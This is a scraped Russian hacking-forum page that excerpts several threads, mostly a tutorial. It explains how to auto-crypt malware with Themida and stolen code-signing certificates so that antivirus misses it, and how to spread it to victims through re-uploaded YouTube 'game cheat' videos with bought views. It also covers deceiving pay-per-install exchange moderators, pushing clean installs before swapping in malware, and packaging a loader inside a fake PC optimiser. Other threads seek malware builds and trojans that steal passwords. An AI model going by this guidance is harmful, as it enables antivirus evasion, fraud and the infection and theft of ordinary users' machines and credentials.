> еще![:\)](data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)
>
> Click to expand...


p.s. завтра скину сэмплов побаловаться.

Search malware

Author: Ar3s • 2014-01-22T07:35:53+0000 • Replies: 114 • Views: 55K
Для того что бы не плодить массу топов по дамаге я решил завести один, в
котором будет происходить розыск малвари или ее компонентов.

Итак для старта ведется розыск:
betabot 1.7 + панель.
webcrab (последний) + панель.

Можно в ПМ, можно под хайды. Можено без панели или панель без билда. В общем,
у кого что есть.

Онлайн проверки антивирусные

Author: Winux • 2006-01-12T20:59:10+0000 • Replies: 61 • Views: 55K
**Проверка файлов:**

[23 антивиря. Комплексная
проверка](http://www.virustotal.com/flash/index_en.html) \- AntiVir, Avast,
AVG, Avira, BitDefender, Cat-QuickHeal, ClamAV, DrWeb, eTrust-Iris, eTrust-
Vet, Fortinet, F-Prot, Ikarus, Kaspersky, McAfee, NOD32v2, Norman, Panda,
Sophos, Sybari, Symantec, The Hacker, VBA32
[14 антивирусов - комплексная проверка](http://virusscan.jotti.org/) \-
AntiVir, Arcabit, Avast, AVG, BitDefender, ClamAV, Dr.Web, F-Prot Antivirus,
Fortinet, Kaspersky Anti-Virus, NOD32, Norman Virus Control, UNA, VBA32
[2 антивиря](http://www.scan.virusinfo.info/) \- AVZ, VBA32
[Проверка каспером](http://www.kaspersky.ru/virusscanner)
[ДокторВебом](http://online.drweb.com/)
[Avast](http://onlinescan.avast.com/)
[Ikarus](http://www.ikarus-
software.at/portal/modules.php?name=Content&pa=showpage&pid=28)
[CLamAV](http://test-clamav.power-netz.de/)
[VBA 32](http://www.anti-virus.by/check/)
[UNA](http://www.unasoft.com.ua/rus/online.html)
[Fortinet](http://www.fortinet.com/FortiGuardCenter/virus_scanner.html)
[Stocona antivirus](http://stocona.ru/onlineantivirus/index.aspx)
[RAV антивирус](http://www.ravantivirus.com/scan/indexn.php)


**Онлайн проверка компа на вири:**

[Microsoft Safety Live (beta)](http://safety.live.com/site/en-US/default.htm)
[Касперским](http://www.kaspersky.ru/virusscanner)
[VirusChaser (DrWeb engine)](http://viruschaser.com/enwi/4_01.jsp)
[Panda
Antivirus](http://www.pandasoftware.com/activescan/ru/activescan_principal.htm)
[BitDefender](http://www.bitdefender.com/scan/licence.php)
[TrendMicro
HouseCall](http://housecall.trendmicro.com/housecall/start_corp.asp)
[Symantec Norton AntiVirus
](http://security.symantec.com/sscv6/GetBrowser.asp)
[McAfee](http://us.mcafee.com/root/mfs/default.asp)
[Mks_vir](http://skaner.mks.com.pl/)
[eTrust](http://www3.ca.com/securityadvisor/virusinfo/scan.aspx)
[F-Secure](http://support.f-secure.com/enu/home/ols.shtml)
[ArcaVir](http://arcaonline.arcabit.com/scanner.html)
[Ahnlab MyV3 ](http://info.ahnlab.com/english/myv3/myv3.html)
[Freedom Anti-Virus](http://www.freedom.net/viruscenter/)
[V3ProDeluxe](http://info.ahnlab.com/english/product/02_3.html#)
[Command On Demand (F-Prot
engine)](http://www.commandondemand.com/eval/cod/codie.htm)
[PC Pitstop](http://pcpitstop.com/antivirus/AVLoad.asp)
[StopSign AntiVirus](http://www.stop-sign.com/)
[HAURI](http://www.globalhauri.com/html/onlineservice/livecall.html)
[Microsoft Malicious Software Removal
Tool](http://www.microsoft.com/security/malwareremove/default.mspx#run)

**Проверка на Руткиты**

[AVZ](http://z-oleg.com/secur/avz-dwn.htm)
[IceSword](http://xfocus.net/tools/200509/IceSword_en1.12.rar)
[F-Secure
BlackLight](http://www.europe.f-secure.com/exclude/blacklight/index.shtml)
[RootkitRevealer
](http://www.sysinternals.com/ntw2k/freeware/rootkitreveal.shtml)
[VICE](http://www.rootkit.com/project.php?id=20)
[RKDetector](http://www.haxorcitos.com/ficheros/RKDetectorv0.62.zip)
[UnHackMe](http://www.greatis.com/unhackme/download.htm)
[antikit](http://anti-virus.by/download_files/antikit.zip)
[Klister](http://www.rootkit.com/vault/joanna/klister-0.4.zip)
[Flister](http://www.invisiblethings.org/tools.html)
[RootKit Hook Analyzer](http://resplendence.com/downloads)

**Проверка на Spyware**

[PestPatrol Anti-Spyware ](http://www.pestpatrol.com/prescan.htm)
[Trend Micro Anti-Spyware](http://www.trendmicro.com/spyware-scan/)
[ZoneAlarm Spyware
Detector](http://download.zonelabs.com/bin/promotions/spywaredetector/index3.html)
[Ewido online scanner](http://www.ewido.net/en/onlinescan/)
[Spy Sweeper](http://www.webroot.com/services/spyaudit_03.htm)
[Spy Catcher](http://www.tenebril.com/scanner/main_start.php)
[Spyware Doctor](http://www.pctools.com/spyware-doctor/)
[Spy Audit](http://www.earthlink.net/software/nmfree/spyaudit/)
[PC Pitstop](http://www.pcpitstop.com/pcpitstop/default.asp)
[RegFreeze](http://www.actualresearch.com/rf_onlinescan.php)
[X-Cleaner (ActiveX)](http://www.spywareguide.com/txt_onlinescan.html)
[StopSign Spyware Remover](http://www.stop-sign.com/)
[TrojanScan](http://www.windowsecurity.com/trojanscan/)


**Проверка браузера**

[Комплекс тестов для проверки браузера на
баги](http://bcheck.scanit.be/bcheck/)
[Zone Alarm Security
Scanner](http://download.zonelabs.com/bin/free/cm/index3.html)
[ Много последних тестов от
Secunia](http://secunia.com/search/date/?search=browsers+vulnerability+test&w=0)
[Проверка по типу
браузера](http://www.heise.de/security/dienste/browsercheck/)
[PopUp test](http://www.auditmypc.com/freescan/popup/popup-test.asp#PoPuP-
test)
[Browzer privacy & security test](http://www.jasons-
toolbox.com/BrowserSecurity/)
[BrowserSpy](http://gemal.dk/browserspy/)
[BrowserCheck](http://browsercheck.qualys.com/index.php)
[BrowserParasiteScanner](http://www.aumha.org/a/noads.htm)

**Проверить почтовый агент/антивирус**

[Тесты мыл (сборная
солянка)](http://www.heise.de/security/dienste/emailcheck/)
[Другой вариант](http://www.gfi.com/emailsecuritytest/)
[Еще один тест безопасности для
мыл](http://www.windowsecurity.com/emailsecuritytest/)
[Email virus protection test](http://www.webmail.us/testvirus)
[Jason's Toolbox (тестовый vbs script на email) ](http://www.jasons-
toolbox.com/TestEmail/)
[Тестовый вирь](http://www.eicar.org/anti_virus_test_file.htm)

**Проверка Фаервола**

[it-sec security test](http://www.it-sec.de/vulchke.html)
[Поставьте галочку "Ich bestätige" и нажмите Scan starten, зеленый цвет -
пройден](http://www.heise.de/security/dienste/portscan/test/go.shtml?scanart=1)
[поставить галочку и нажать"Test durchfuhren"](http://www.exchange-
antivirus.de/SecurityCheck/ToClientQuickCheck.asp)
[Проверить Nmap(поставить галочку и нажать"Test
durchfuhren")](http://www.rogon.de/tools/portscanner/)
[Проверить Sygate online services](http://scan.sygate.com/)
[PC Flank -stealth, browser, trojans, exploits, advanced port
scanner](http://www.pcflank.com/test.htm)
[На расшаренные ресурсы, порты, Messenger Spam (пройти по ссылке
"ShieldsUP!")](http://www.grc.com/default.htm)
[AuditMyPC](http://www.auditmypc.com/freescan/scanoptions.asp)
[Portscan-SecurityTest-ExploitTest-Browser-
Check](http://onlinecheck.emsisoft.com/en/)
[Tools-on.Net](http://tools-on.net/privacy.shtml?2)
[Hackerwatch](http://www.hackerwatch.org/probe/?affid=0-77)
[Broadbang port scan](http://www.dslreports.com/scan)

**Проверка ОС**

[McAfee MySecurityStatus](http://us.mcafee.com/MySecurityStatus/default.asp)
[Symantec Security Check](http://security.symantec.com/sscv6/getbrowser.asp)
[Проверить Vmon, по окончании будет
отчет](http://info.ahnlab.com/english/product/02_3.html#)
[На работающий Messenger (Служба
сообщений)](http://www.mynetwatchman.com/winpopup.asp)

**Онлайн анализаторы логов HijackThis**

[Hijackthis analyzer](http://www.hijackthis.de/en)
[HijackThis Log Parser](http://hjt.iamnotageek.com/)

**Другие тесты**

[Проверить сайт докторвебом](http://online.drweb.com/?url=1)
[Тест настроек
Proxomitron'а](http://www.geocities.com/u82011729/prox/js_test.html)
[ McAfee wi-fi scan - проверка уровня безопасности wi-fi
сети](http://us.mcafee.com/root/wsc/default.asp)
[EventLogScan](http://www.windowsecurity.com/eventlogscan/test.asp)

Трояны

Author: Tycoon • 2005-01-02T19:58:59+0000 • Replies: 121 • Views: 52K
Доброе время суток! Дайте плз урлы на какие-нить трояны которые сразу при
открытие на компе жертве присылают пароли от инэта на мыло.
Пинч и a311 не надо.
![:\)](data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)

Подцепил вирь?

Author: Winux • 2005-12-24T22:33:14+0000 • Replies: 184 • Views: 50K
Собственно, в этой теме решаем Ваши проблемы с вирусами.

Прежде чем что либо писать - прочтите:

1) Воспользуйтесь поиском по форуму и попытайтесь найти тот вирь, от которого
не можете избавится. В поиск вводите то название, которое вам Выдал антивирь.
Например: Backdoor.win32.small.cz. При этом .cz можно стереть.

2) Если поиск не дал результатов - оформляйте свой пост как положено. Посты
типа: "Я подцепил вирь, что мне делать?" будут удалятся. Прочто в таком случае
мы не сможем Вам помочь. Пишите максимально подробно. Если заорал антивирь что
мол не могет удалить такой-то вирус, напишите название вируса, который вам
сказал антивирь. Если базы старые - воспользуйтесь веб-антивирем, который
располагается на нашей главной странице. Это каспер с последними базами.

3) Если антивирь молчит как редька базарная - ситтуация осложняется. Вам
придется написать:
-Что вы делали что подцепился вирь (открыли письмо, скачали фаил по асе или открыли ссылку какую)
-Какие симптомы заражения (пишем то, с чего Вы взяли что у Вас вирь максимально подробно)
-Поглядите в процессы и автозагрузку. Может там есть что-то непонятное
-В папке windows упорядочите все по дате и посмотрите имена последних файлов - их тоже сюда

Если Вы все сделаете правильно - мы сможем поставить диагноз, помочь вылечит.
Пожалуйста, не делайте преждевременных необоснованых выводов и не флеймите.
Тут будет только запрос - помощь.

Автокриптер и распространение софта

Author: Vacation • 2019-11-23T20:42:02+0000 • Replies: 125 • Views: 45K
Для удобной навигации, статью условно разделим на три части:

Spoiler: Автоматическое криптование

**Делаем свой бесплатный автокриптер**
![](/proxy.php?image=https%3A%2F%2Flh4.googleusercontent.com%2FbN_zkPHmKygsreS14AzeS5fnYMih-C0vWnldcVtSzoFpXwoMV2ksybq5wYoE-2EVSqSY6dklaQcq54OMHlZBXIqbVmqJv85lkzle2JcZUsxrQz3PexYlwz8CMaLdOqO5s6KVDzyv&hash=f7b017d978f33e9a25e4f3d823a84444)

Сразу упростим процесс и обойдемся без построчного «кодинга» — я просто скину
свой код с объяснением как он работает и куда надо кликать. Это не совсем акт
альтруизма, просто недавно я сильно усовершенствовал код, а старую версию
выкладываю сюда. Она все равно рабочая, просто менее удобная и с некоторыми
~~багами~~ фишками. Поехали.

Обязятельно:
Скачиваем [мой софт](https://www.sendspace.com/file/l2att0) pass местный
Скачиваем [вспомогательное ПО — RH](http://www.angusj.com/resourcehacker/)
Скачиваем [AutoIt](https://www.autoitscript.com/site/autoit/)

Не обязательно:
Скачиваем [архиватор «7zip», если у вас на компьютере его
нет](https://www.7-zip.org/)
Создаем отдельный аккаунт в Яндексе и устанавливаем на компьютер
[Яндекс.Диск](https://disk.yandex.ru/client/disk)

Второй и третий софт лучше установить в папку по умолчанию, иначе придется
вручную прописывать пути в коде.

В первую очередь настроим Яндекс.Диск. После установки и авторизации, нам
нужно установить в настройках синхронизации папку «Pictures» — это стандартная
папка Windows. Также создаем папку «files» на рабочем столе, в нее запишется
наш файл, который впоследствии будет перезаписываться на Яндекс.Диск.

Теперь открываем папку с моим «Криптером». Голубым выделены файлы, с которыми
мы будем работать.
![](/proxy.php?image=https%3A%2F%2Flh4.googleusercontent.com%2F6nCyL6OlHqG3LWx73OtETuO-
mDhorq12OOZ1_0a54FWbzqwW39YeWqtipQsrytTCAJabTLLKEeJTR3jEeaxQaAQ4vkR32jwApT-
IxRQyJPz1SHh9o5VhMXGfR0mTgxjkUGbY8-2p&hash=f4b3a33d354e8344111d6ac0c71e5da4)

Начинаем с файла «START.bat»
![](/proxy.php?image=https%3A%2F%2Flh4.googleusercontent.com%2Fs6BtAWp0MVPuI1fy9dGWUgYhG-
qgBJcHw1U4uoY3jz8YUWDXDQUGMzChKY5rIHna5TYuGqH1v8RHFYcYYdazgoK3Sy76UiYqJ02EzkGYUZ76Qf1JEVuQktNE8Jw4WN3zER5KEqdc&hash=8a39b7544d64966f4de9ef354d27c69b)

Нас интересует четвертая строчка. В этой строке сначала мы указываем путь до
исполняемого файла вашего чистого ПО (.exe) и через пробел — путь до места,
куда вы распаковали архив с моим софтом.

Папка с моим софтом называется «PYTHON» — дабы лишний раз не копаться в коде,
название менять не стоит, хотя и код достаточно короткий.

На скрине, эта папка находится на рабочем столе — если вы распаковали в другое
место, проверьте внимательно путь до папки.

В 17 строке видим файл «proton.tmd», это сохраненный конфиг темиды, для
поддержания низкого детекта вам необходимо переодически тестировать новые
виртуальные машины в темиде, в вашей версии «START.bat» будет несколько
отличать от того, который мы сейчас разбираем, я выложу версию чуть новее, в
ней добавил темиду для 64 битных файлов, файл «proton.tmd» для х64 надо класть
в папку «Themida64», а для х32 битных в папку «PYTHON», но при желании сможете
подправить пути до нужных вам.

В 21 строке мы сдираем цифровую подпись с файла u8i-что-то-там.exe, этот файл
надо менять в зависимости от того, какую цифровую подпись вы захотите взять на
свой, второй и третий «.exe» файлы — не трогаем, тк бат файл работает с ними
дальше.

В 27 строке проверяем путь до папки с программой «7zip». Именно папки, а не
.exe файла. Если вы ставили «7zip» в папку по умолчанию, скорее всего менять
ничего не нужно. Проверьте.

В 28 строке мы устанавливаем пароль, иначе Яндекс.Диск может сказать, что в
вашем архиве что-то не так.
![](/proxy.php?image=https%3A%2F%2Flh4.googleusercontent.com%2FczG855BTF1OOe0BZmf7LbWSlqpvDc-
HFYPVLSOLSoINKrZOOp1Sp8HFqeJd14zfBZCJmOj5JuSFuwOmR0ti3HtA-
dP2zAGm_bZawG5u39nXvNJ40QfVvw6PgioPllDGgQrxARHGX&hash=4df8daaded7718685f05d6de203a6ddf)

За пароль отвечает команда «-p1234» — на примере пароля «1234». В первым пути
к файлу меняем название архива на любое, лишь бы кончалось .zip, если вы
хотите другое — придется покопаться в документации 7zip’a.

Архив там создастся автоматически, а второй путь ведет к папки из которой этот
архив и создастся.

Сохраняем изменения. Запускаем файл «themidaClick.au3» — он фиксит некоторые
баги(фишки темиды, а именно кликает по всплывающему окну темиды, которое
возникает при выборе нескольких виртуалок), стоит отметить тот факт, что
данное решение подходит исключительно под мое разрешение экрана, тк по сути
является костылем. После запуска он никак себя не покажет до нужного момента,
просто открываем сначала его, а потом запускаем «START.bat»

Скорее всего, по ходу работы скрипта у вас откроется браузер по умолчанию —
просто закрываем его, откроется он или нет зависит от того какую именно версию
вы получите, это связано с тем, что раньше юзалась не очень хорошо крякнутая
темида, но в более новых версиях эта проблема была устранена.

Ждем, пока скрипт завершит свою работу. Так как мы делаем автоматический
криптор — добавляем файлы «themidaClick.exe» и «START.bat» в стандартный
планировщик задач Windows и выставляем удобное время для автоматического
запуска, кстати почему «themidaClick.au3» стал «themidaClick.exe», я скину вам
и .exe версию(забыл, скинуть в архив, а грузить один ехе смысла мало, в случае
чего райткликаем по скрипту и в сплывающем меню нажимаем скомпилировать х86,
после у вас появится ехе'ная версия скрипта), на случай если вы захотите
использовать мое разрешение экрана(1152х864), если нет, то вам необходимо
отредактировать .au3 файл под свое, а также воспользоваться стандартной
утилитой-конвертером Autoit2exe, иначе планировщик захочет открывать скрипт в
режиме редактирования.

Все, теперь криптор работает за вас. Детект вашего файла при минимальных
усилиях будет примерно таков, но в то же время целиком и полностью будет
зависеть от выставленных виртуалок в темиде и цифровой подиси:
![](/proxy.php?image=https%3A%2F%2Flh4.googleusercontent.com%2F1JZ_Qj_Wn1vUv4elz58hVGTySp8CWXLPQlpcbqfGm-5e1K1Q09FYp4GwocGU-
CnRXx4-aGj1xXoJs1NbPXxOI_1c7d-lkbKECHD-
EwBSiiM_XqTkVAm5x_ebYGRuCNmr0LQqWxcV&hash=6191fe4d20d4df0944be9f6cf0b2deae)
При наличии 10-15 минут в день лично у меня удается подобрать параметры
гарантирующими FUD скантайм, детект по версии чекера выше на исполняемый файл
ПО был получен буквально за 1 минуту, а далее файлы будут с идентичным
детектом, перезаливаться каждые 15-30-60-90 и тд минут, как пожелаете.

Весь этот процесс автоматизации изначально создавался именно для ютуба,
поэтому в данной «версии» используется «ЯндексДиск» в качестве файлообменника
и архивация файлов при помощи 7zip’a, но вы можете внести минимальные правки
код чтобы убрать архивацию и добавить залив файла в дирректорию апача на вашем
хосте, но это уже оффтоп и кто захочет — разберется. А кто хочет найти кнопку
в этой теме а-ля «сделать всё» — увы, но её не найдет.



Spoiler: Распространение через ютуб

**Распространение через ютуб**

Теперь вас есть криптующееся 24/7 ВПО, а как распространить его на компьютеры
жертв — не знаете? Сейчас научимся лить себе бесплатный трафик.
![](/proxy.php?image=https%3A%2F%2Flh3.googleusercontent.com%2F5hLiqORGh9rctl2DYAmrdI7fxiP4EYaZW2tQPsHbfg3eTZ_0Qenp-
EKIoIbWs1srl-
XxBIt4GdPWhb6eI5umRN2-OGFGCsukPDLAPQutNKmF1Q5Eh55F1YPocOG9xdQhTQ3VcSBI&hash=7c2228bed2ba966bf096dfdb2ad62b81)

По заголовку понятно, что для начала нам понадобится зарегестрировать новый
аккаунт в «gmail.com» и создать на нем youtube-канал.

При регистрации желательно принять вторую SMS для верификации канала, иначе
youtube может подкинуть проблем в самый неожиданный момент.

Само собой, свои видео записывать мы не станем — будем изменять и перезаливать
чужие. Нам понадобится любая программа для загрузки видео с youtube, я
пользуюсь этой — <https://videodownloader.ummy.net/ru/>

Нашли и скачали любое видео — теперь его надо изменить, иначе youtube просто
не даст его залить. Для этого скачиваем [Video Spin
Blaster](https://www.sendspace.com/file/83u9fe)

Вверху программы нажимаем на вторую вкладку «Generate Video» и указываем путь
к скачанному видео и выбираем куда сохранится уже отредактированное.
![](/proxy.php?image=https%3A%2F%2Flh6.googleusercontent.com%2FELd2kgB2FS6Qb7-fDNCuPNVIERoUknv3GqkTGA9pQ6JaEBEJt3SGoXcVM1etBZOirYRE8mbJDenY1bK6DtyeZxyj3gmKdM4eZHhM0FSjPM5fGIjZFir3o4FVFMeRqQrLeLs1OQR4&hash=b42d06199e4d777e3d1c2ca1e37331f8)

Не обязательно, но желательно к получившемуся видео добавить свое интро, аутро
и вотермарку. Скачать готовое интро/аутро можно в интернете. В качестве
вотермарки использовать логотип с названием канала полупрозрачным шрифтом.

Про сам монтаж нет смысла рассказывать, да и монтажом это назвать язык не
поворачивается. Вам нужно просто все это склеить в любом видеоредакторе.

Не забудьте также обрезать все куски видео с упоминаниями другого канала.

Если ролик после обрезки длиннее пяти минут — ускоряем все происходящее на
нем, чтобы уложиться в пять минут. Больше нельзя.

Также обязательно заменяем звуковую дорожку на какую-нибудь нейтральную
музыку. Осторожней с авторскими правами, не вставляйте популярные песни —
youtube не пропустит. Тоже самое будет, если оставить родную дорожку с голосом
автора или его музыкой.

Итак, у нас есть готовое видео. Осталось его залить. Вот несколько советов,
которыми пользуюсь я:

Выбираем ключевой запрос. Это та фраза, по которой ваша целевая аудитория ищет
нужные видео. Например: «читы для CS:GO», «скрипты для Dota 2» и так далее.

К слову, название видео тоже должно быть вашим ключевым запросом. Но не более
двух-трех слова. Язык названия не важен.

Описание под видео нужно использовать по максимум. Youtube позволят ввести
туда 5000 знаков. Не обязательно писать туда собственные сонеты, от вас
требуется только вставить туда ссылку на ваше ПО, а остальное забить тэгами.

Тэги можно быстро собрать через Яндекс Wordstat и Google Adwords
Но я пользуюсь платным решением — [ KeyWordTool'ом ](https://keywordtool.io/)
![](/proxy.php?image=https%3A%2F%2Flh6.googleusercontent.com%2FWV1DmobHFo1EXG4qwuQBsGOLhUn3SOC1HyJlU_Bt2eV3oY7KlUZlyKo8HwLuEi1Zj-
IZDxjxCKPXvx1Fv2xPLf4Wh1LVeOn3paL5mrBF58wsk1cyh_RkCLG8oRiOkLlovMmcTKMi&hash=b1eaf3957623c938d4deb5a854427f1e)

Отмечу, что превью для ролика добавляет пару % к конверсии по кликам, но
требует времени для создания. Вылизывать каждый ролик или брать количеством —
решать вам.

Теперь переходим к бусту нашего ролика, а именно — накрутки. На рынке
существуют сотни сервисов, которые этим занимаются. Я пользовался этими:

qqtube.com — популярный и платный. Кто так или иначе связан с накруткой о нем
уже слышал. Хорошая скорость, раскидывает просмотры по времени, а не наливает
все за минуту. Низкая цена, но отвратный интерфейс.

waspace.net — серьезный сервис, множество опций, но настройка займет немало
времени. Тоже недорогой.

likesrock.com — когда я его использовал, он накручивал просмотры, которые не
шли больше 15 секунд. Разумеется youtube такие просмотры не считает за
человеческие. Зато сервис удобен для накрутки лайков — дешево и сердито.

qcomment.ru — биржа с русско-язычной аудиторией. Ценник высокий, но выполнение
заданий — качественное.

ytmonster.net/ytmonster.ru — пользуюсь обоими: на .ru заказываю просмотры и
лайки, на .net — комментарии. Из плюсов — сервис бесплатный. Его можно
поставить серфить на дэдике, а затем тратить полученные пойнты. Однако какую-
то часть просмотров/лайков — сервис списывает. На .ru я покупал “VIP”
просмотры с удержанием в 100%, сервис наливал по своей стате 5к, в реальности
я имел примерно 2к+.

Статистика канала, потраченное время приблизительно пять часов.
![](/proxy.php?image=https%3A%2F%2Flh4.googleusercontent.com%2FlFuwJqI8ag9dRNprWBhXmIlTlHoiY9fn0LY24gbNfJe9tTXK9dL2i43AR84J-Msbroo7jxffwUcS8CL9rmgenAfDg3JrkWXDE4xNH1xQ0OKmoR1QodGFaT6AGn_dxqiiZeBO6WGQ&hash=85a7430479b8f00c9b85db954264a221)
![](/proxy.php?image=https%3A%2F%2Flh3.googleusercontent.com%2FsnbqSia8zC_DpUhEVXE4u4hZmmM80oKdk8a9WZeQbF9DLSPZypvflgssetK67Bz2ZyXXqknC9bRVJuvMH4wQdi4B48ABZ7A5NsVjN6UjVfLdj3PXeA4Fspez9l1U74j1Mam5m4Wm&hash=740c44707259ecbdeecfa8c696a48c1d)

Если заниматься каналами ежедневно по несколько часов в день — получите
хорошее кол-во траффика. Я занимаюсь им с переменным успехом, когда выбивается
лишняя минутка времени.



Spoiler: Распространение через биржи

Биржи самый простой способ распространять ПО и одновременно самый сложной из-
за регистрации и верификации для начала работы. Я нашел одну, на которой с
помощью этого гайда можно пройти с минимальными затратами на сам процесс.

Прежде чем связаться с модератором на бирже где будем регистрироваться,
подготавливаемся:

Начнем с софта. Он обязательно должен иметь хотя бы теоретический способ
монетизироваться. Например: встроенный рекламный баннер или покупка полной
версии. Эти сказки вы будете рассказывать модератору, но в любом случае в
вашей программе должно быть «место для баннера» или кнопка «купить полную
версию», пусть даже нерабочая.

Помимо этого, ваш софт должен оставлять какой-либо ключ в реестре. По нему
биржа проверят была установка или нет. Если на этом моменте, вам как и мне
пришла в голову гениальная мысль обмануть биржу путем добавления ключа раз
3-5-10 установок — не выйдет. Можете не пытаться.

К слову, если вы не кодер, то все равно сможете сделать все вышеперечисленное
через Smart Install Maker. Как это сделать расскажу под спойлером в конце,
сейчас все же про биржи.

Также вам нужен сайт. Причем сайт должен быть чуть лучше, чем вы делали в
школе на уроках ИВТ. Если раньше достаточно было одной странички с
лицензионным соглашением — сейчас времена изменились. Однако на той же тильде
все еще можно собрать вполне приемлемый сайт без каких-либо навыков верстки и
дизайна. Итак, на сайте обязательно должны быть:

End-user license agreement и policy privacy — готовых примеров полно в
интернете.

Какой-либо logger — чтобы модератор мог посмотреть статистику. Если
использовать первый пришедший в голову iplogger — модератор может что-то
заподозрить. Нам нужен самописный, можете написать сами или скачать [и
поставить мой, все вроде просто, кому надо опять же поймет)
](https://www.sendspace.com/file/kf04pe) пасс местный.

Теперь начинаем собеседование с модераторами. Как бы это странно не было,
происходит оно в скайпе. Скайп модератора — wappoff
Юзернейм можете прогуглить, это человек с стаффа бывшего инсталлмонстра.

В первом сообщении вкратце рассказываем о нашем софте. Вот пример сообщения,
только чтобы вы примерно понимали о чем писать. Измените его. Если модератор
получит кучу одинаковых сообщений мы дружно пойдем нахуй.

«Здравствуйте
Есть ли свободные места для регистрации в качестве рекламодателя на вашем
сервисе?
У нашей команды ПО для ***, в котором есть возможность ***. Никаких лишних
функций, минимализм. В качестве монетизации используются рекламные баннеры
(меняются при каждом новом запуске ПО).»

На этом этапе сложно облажаться, поэтому скоро вы получите положительный ответ
и форму для регистрации.
![](/proxy.php?image=https%3A%2F%2Flh3.googleusercontent.com%2F_pMEHBEBtXIq0KJlBi3mWLvEqjdOdDmpWpUqBgANMmqmTfYCmmcSO8w3X5fZZRVfwaBXQ85RQKjJohsohT2GF61K3F760wD4iJUQmd99_Z_8rSi8risBXapDVOL-
rz6prUFUeTx_&hash=993399b34aa2246c30d4be21520bf43c)
В форме придется заполнить следующие пункты:

Offer name:
URL to exe:
Link to statistics:
Monetization:
EULA link:
PP link:
Command line argument:
Regkey pre-checks:
Regkey post-check:
Browsers:
OS:
Rates:
Caps:

Все это у нас уже есть, расписывать каждый пункт нет смысла. Во-первых все
довольно примитивно, во-вторых задавать вопросы модератору если какой-то пункт
вам не понятен — это нормально. Сойдете за обычного рекламодателя, который
первый раз пытается продвинуть свой продукт на бирже. Он только будет рад
помочь даже с самыми тупыми вопросами.

Если же у самого модератора будут какие-то вопросы — это нормально. Не
паникуем, спокойно отвечаем и переспрашиваем, если не поняли.

Вопросы могут быть от «почему один файл что-то скачивает», до «сколько человек
в вашей команде разработчиков». На первый, к слову, говорим, что идет проверка
на наличие последней версии софта у клиента. На второй и другие — зависит от
софта и вашей фантазии.

Стоит сказать, что в конец-концов вас когда-нибудь да забанят. Ваш софт не
будет жить на бирже вечно. Придется собрать новую программу, зарегистрировать
новый скайп и пройти все по новой. Кто-то может просидеть на одном софте годы,
кому-то бан прилетает через пару месяцев — зависит от удачи, но вот что может
вам помочь продержаться как можно дольше и потерять как можно меньше:

Возможно, лишь в теории, первое время стоит лить инсталлы на софт без малваря.
Опытным путем появилась теория, что в первые несколько недель биржа следит за
тем, что подгружает софт со своего сервера. Ставим минимальное количество
инсталов, чтобы не тратить деньги впустую и через время просто заливаем на
сервер уже сам малварь.

Второй момент довольно очевидный — не пополняйте баланс биржи сразу на тысячи
долларов. При бане вам никто ничего не вернет. Дозируйте, чтобы в случае чего
не потерять много денег.

Все остальное, что говорят про биржи — скорее призрачные теории и
конспирология, которая зависит от конкретного софта, настроения модератора,
биржи, фазы луны и вашего знака зодиака. Более точных закономерностей, кроме
совсем уж очевидных, все еще нет.

Пробуйте, экспериментируйте и делитесь опытом. Здесь описано только общее
начало вашего пути, дальше — каждый сам по себе.

Дполнительный спойлер относящийся к всему изложенному выше, но на случай, если
вы не можете в кодинг, но очень хотите попробовать пройти на биржу — собираем
софт в SIM(копи-паст с моей другой статьи)

Spoiler: Как собрать софт в Smart Install Maker

Скачиваем Smart Install Maker с [официального сайта](http://www.sminstall.com)
или крякнутую версию (<http://for-masters.ru/windows/smart-install-maker>) —
не будет сообщений о пробной версии при каждом запуске.

Устанавливаем свой “ускоритель ПК” и запускаем Smart Install Maker.

На первом экране меняем подчеркнутые поля на свои, после переходим во вкладку
“файлы”.
![](/proxy.php?image=https%3A%2F%2Flh6.googleusercontent.com%2F1r_iIy-
XfI0B-2E0A8IXDdTquN8CJUsL4FyrWz8t7mOyy1FhhELck3Mm0eOl6uPw5B4VC2BIMOAp3DO-3xV34plPzZgg07P0LMynmyYD2YdagEyAVjUcj2SngWPTu4rjZ4c69TkO&hash=fea96b37b00e8133136d013acc7a64db)

Нажимаем “Добавить файлы из папки”.
![](/proxy.php?image=https%3A%2F%2Flh3.googleusercontent.com%2FWujxpd5ljcSJ9aGH6tEDHkYDBmqAySe7qmtkGnbGwK6k3g7ZyyngZYUtVFGrG-
FqFNwt1B3YanzVi2GIFJ_6yJ8md_fl1xn2dJVgQCl3epcIZlwGdapPsWnTR67Nv_TffRT1YPuw&hash=2e658e04ffe3ef3342fd5cb5fca9c081)

Находим установленный “оптимизатор ПК”. Жмём два раза “ОК”.
![](/proxy.php?image=https%3A%2F%2Flh4.googleusercontent.com%2FP_r3EGbdXr0z5Q36VdPSV3mrjCosmTTYJH-
pQpPrfZzScSdsiUveh5FaTnbYGvS-
PrllLHoN7ubbmGLPIYRYZA466-1UduxabuGOEJOo6W1CL4mo2aO68ZKA6B2MPVnK3TUoLeCL&hash=8134590249e1aa61111d98b4e3f389cd)
![](/proxy.php?image=https%3A%2F%2Flh3.googleusercontent.com%2Fh9aZknNU7Qc9Q2fD7UfIdcXR-
qeF0abeXQFZIQNz5gWM-
jkTUb1q7xu4kRsEyKXATgOR6ArWkTvWjKU72HLsfn_TVtaH43IBA4We9E-_LhrSA191ZzkaK885BgtO3utiICKcW-
pb&hash=96abc56e7dabde135ef6e84aba24af01)
Также ищем в списке стандартный “экзешник” удаления программы от нашего
“ускорителя ПК” и удаляем его.

Smart Install Maker создаст новый.

Добавляем свой “лоадер”.

1. Нажимаем “Добавить”
2. Выбираем файл лоадера.
3. Жмем “ОК”.

![](/proxy.php?image=https%3A%2F%2Flh5.googleusercontent.com%2F2VrBz-
FE-k2rukDJ5KGd2xCGwRm8sYmJxyIQ3zXDc0s_RhPEicRYCJF8K5RCQJ4l93IaHNwT-
kJSYtxtFdR1gh4xBSYgDvD2OZBDCm9eUUhfxw9RTH-
NQRoSE9azTNiMBB1Sqyxw&hash=8d6a198c32274fcf58436e230e5cb193)

“Лоадер” появится в списке файлов. Проверьте.
